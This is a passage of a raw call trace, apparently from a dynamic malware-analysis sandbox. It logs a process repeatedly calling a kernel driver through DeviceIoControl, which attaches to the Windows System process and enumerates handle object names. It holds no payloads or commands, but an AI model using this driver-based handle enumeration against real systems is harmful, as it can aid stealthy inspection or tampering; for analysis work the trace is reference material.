DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80034955f0, HandleInformation=0x0) returned 0x0 [0089.604] ObfDereferenceObject (Object=0xfffffa80034955f0) returned 0x2 [0089.604] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.604] PsReleaseProcessExitSynchronization () returned 0x2 [0089.604] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.604] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.604] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.604] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.604] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.604] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.604] PsAcquireProcessExitSynchronization () returned 0x0 [0089.604] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.604] ObReferenceObjectByHandle (in: Handle=0xffffffff80000818, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80022b2f20, HandleInformation=0x0) returned 0x0 [0089.604] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.604] PsReleaseProcessExitSynchronization () returned 0x2 [0089.604] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.604] ObQueryNameString (in: Object=0xfffffa80022b2f20, ObjectNameInfo=0xfffffa8003ac2044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac2044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.604] ObfDereferenceObject (Object=0xfffffa80022b2f20) returned 0x2 [0089.604] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.604] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.604] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.604] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.604] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.604] PsAcquireProcessExitSynchronization () returned 0x0 [0089.604] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.604] ObReferenceObjectByHandle (in: Handle=0xffffffff8000081c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002119050, HandleInformation=0x0) returned 0x0 [0089.604] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.605] PsReleaseProcessExitSynchronization () returned 0x2 [0089.605] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.605] ObQueryNameString (in: Object=0xfffffa8002119050, ObjectNameInfo=0xfffffa8003ac4044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac4044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.605] ObfDereferenceObject (Object=0xfffffa8002119050) returned 0x2 [0089.605] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.605] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.605] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.605] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.605] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.605] PsAcquireProcessExitSynchronization () returned 0x0 [0089.605] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.605] ObReferenceObjectByHandle (in: Handle=0xffffffff80000824, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002355050, HandleInformation=0x0) returned 0x0 [0089.605] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.605] PsReleaseProcessExitSynchronization () returned 0x2 [0089.605] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.605] ObQueryNameString (in: Object=0xfffffa8002355050, ObjectNameInfo=0xfffffa8003ac5044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac5044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.605] ObfDereferenceObject (Object=0xfffffa8002355050) returned 0x2 [0089.605] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.605] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.605] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.605] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.605] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.605] PsAcquireProcessExitSynchronization () returned 0x0 [0089.605] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.605] ObReferenceObjectByHandle (in: Handle=0xffffffff8000082c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028172c0, HandleInformation=0x0) returned 0x0 [0089.605] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.605] PsReleaseProcessExitSynchronization () returned 0x2 [0089.605] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.605] ObQueryNameString (in: Object=0xfffffa80028172c0, ObjectNameInfo=0xfffffa8003ac6044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac6044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.606] ObfDereferenceObject (Object=0xfffffa80028172c0) returned 0x2 [0089.606] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.606] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.606] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.606] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.606] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.606] PsAcquireProcessExitSynchronization () returned 0x0 [0089.606] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.606] ObReferenceObjectByHandle (in: Handle=0xffffffff80000834, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80025084b0, HandleInformation=0x0) returned 0x0 [0089.606] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.606] PsReleaseProcessExitSynchronization () returned 0x2 [0089.606] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.606] ObQueryNameString (in: Object=0xfffffa80025084b0, ObjectNameInfo=0xfffffa8003ac7044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac7044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.606] ObfDereferenceObject (Object=0xfffffa80025084b0) returned 0x2 [0089.606] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.606] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.606] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.606] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f205e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0089.606] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.606] PsAcquireProcessExitSynchronization () returned 0x0 [0089.606] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.606] ObReferenceObjectByHandle (in: Handle=0xffffffff80000838, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800263ed90, HandleInformation=0x0) returned 0x0 [0089.606] ObfDereferenceObject (Object=0xfffffa800263ed90) returned 0x2 [0089.606] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.606] PsReleaseProcessExitSynchronization () returned 0x2 [0089.606] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.606] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.606] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.606] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.606] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.607] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.607] PsAcquireProcessExitSynchronization () returned 0x0 [0089.607] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.607] ObReferenceObjectByHandle (in: Handle=0xffffffff8000083c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002346960, HandleInformation=0x0) returned 0x0 [0089.607] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.607] PsReleaseProcessExitSynchronization () returned 0x2 [0089.607] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.607] ObQueryNameString (in: Object=0xfffffa8002346960, ObjectNameInfo=0xfffffa8003ac9044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac9044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.607] ObfDereferenceObject (Object=0xfffffa8002346960) returned 0x2 [0089.607] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.607] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.607] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.607] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.607] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.607] PsAcquireProcessExitSynchronization () returned 0x0 [0089.607] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.607] ObReferenceObjectByHandle (in: Handle=0xffffffff80000840, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800248d2c0, HandleInformation=0x0) returned 0x0 [0089.607] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.607] PsReleaseProcessExitSynchronization () returned 0x2 [0089.607] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.607] ObQueryNameString (in: Object=0xfffffa800248d2c0, ObjectNameInfo=0xfffffa8003aca044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003aca044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.607] ObfDereferenceObject (Object=0xfffffa800248d2c0) returned 0x2 [0089.607] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.607] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.607] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.607] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.607] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.607] PsAcquireProcessExitSynchronization () returned 0x0 [0089.607] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.607] ObReferenceObjectByHandle (in: Handle=0xffffffff80000844, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002491e80, HandleInformation=0x0) returned 0x0 [0089.607] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.608] PsReleaseProcessExitSynchronization () returned 0x2 [0089.608] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.608] ObQueryNameString (in: Object=0xfffffa8002491e80, ObjectNameInfo=0xfffffa8003acc044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003acc044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.608] ObfDereferenceObject (Object=0xfffffa8002491e80) returned 0x2 [0089.608] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.608] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.608] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.608] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.608] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.608] PsAcquireProcessExitSynchronization () returned 0x0 [0089.608] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.608] ObReferenceObjectByHandle (in: Handle=0xffffffff8000084c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80022e39d0, HandleInformation=0x0) returned 0x0 [0089.608] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.608] PsReleaseProcessExitSynchronization () returned 0x2 [0089.608] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.608] ObQueryNameString (in: Object=0xfffffa80022e39d0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.608] ObfDereferenceObject (Object=0xfffffa80022e39d0) returned 0x2 [0089.608] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.608] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.608] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.608] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.608] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.608] PsAcquireProcessExitSynchronization () returned 0x0 [0089.608] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.608] ObReferenceObjectByHandle (in: Handle=0xffffffff80000858, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001f92f20, HandleInformation=0x0) returned 0x0 [0089.608] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.608] PsReleaseProcessExitSynchronization () returned 0x2 [0089.608] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.608] ObQueryNameString (in: Object=0xfffffa8001f92f20, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.608] ObfDereferenceObject (Object=0xfffffa8001f92f20) returned 0x2 [0089.608] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.609] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.609] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.609] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.609] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.609] PsAcquireProcessExitSynchronization () returned 0x0 [0089.609] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.609] ObReferenceObjectByHandle (in: Handle=0xffffffff80000864, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800250a550, HandleInformation=0x0) returned 0x0 [0089.609] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.609] PsReleaseProcessExitSynchronization () returned 0x2 [0089.609] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.609] ObQueryNameString (in: Object=0xfffffa800250a550, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.609] ObfDereferenceObject (Object=0xfffffa800250a550) returned 0x2 [0089.609] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.609] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.609] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.609] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.609] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.609] PsAcquireProcessExitSynchronization () returned 0x0 [0089.609] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.609] ObReferenceObjectByHandle (in: Handle=0xffffffff80000868, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001f95050, HandleInformation=0x0) returned 0x0 [0089.609] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.609] PsReleaseProcessExitSynchronization () returned 0x2 [0089.609] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.609] ObQueryNameString (in: Object=0xfffffa8001f95050, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.609] ObfDereferenceObject (Object=0xfffffa8001f95050) returned 0x2 [0089.609] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.609] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.609] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.609] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.610] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.610] PsAcquireProcessExitSynchronization () returned 0x0 [0089.610] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.610] ObReferenceObjectByHandle (in: Handle=0xffffffff80000870, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80024f5b00, HandleInformation=0x0) returned 0x0 [0089.610] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.610] PsReleaseProcessExitSynchronization () returned 0x2 [0089.610] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.610] ObQueryNameString (in: Object=0xfffffa80024f5b00, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0089.610] ObfDereferenceObject (Object=0xfffffa80024f5b00) returned 0x2 [0089.610] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.610] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.610] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.610] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.610] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.610] PsAcquireProcessExitSynchronization () returned 0x0 [0089.610] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.610] ObReferenceObjectByHandle (in: Handle=0xffffffff80000874, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80024f7f20, HandleInformation=0x0) returned 0x0 [0089.610] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.610] PsReleaseProcessExitSynchronization () returned 0x2 [0089.610] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.610] ObQueryNameString (in: Object=0xfffffa80024f7f20, ObjectNameInfo=0xfffffa8003a80044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a80044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.610] ObfDereferenceObject (Object=0xfffffa80024f7f20) returned 0x2 [0089.610] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.610] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.610] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.610] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 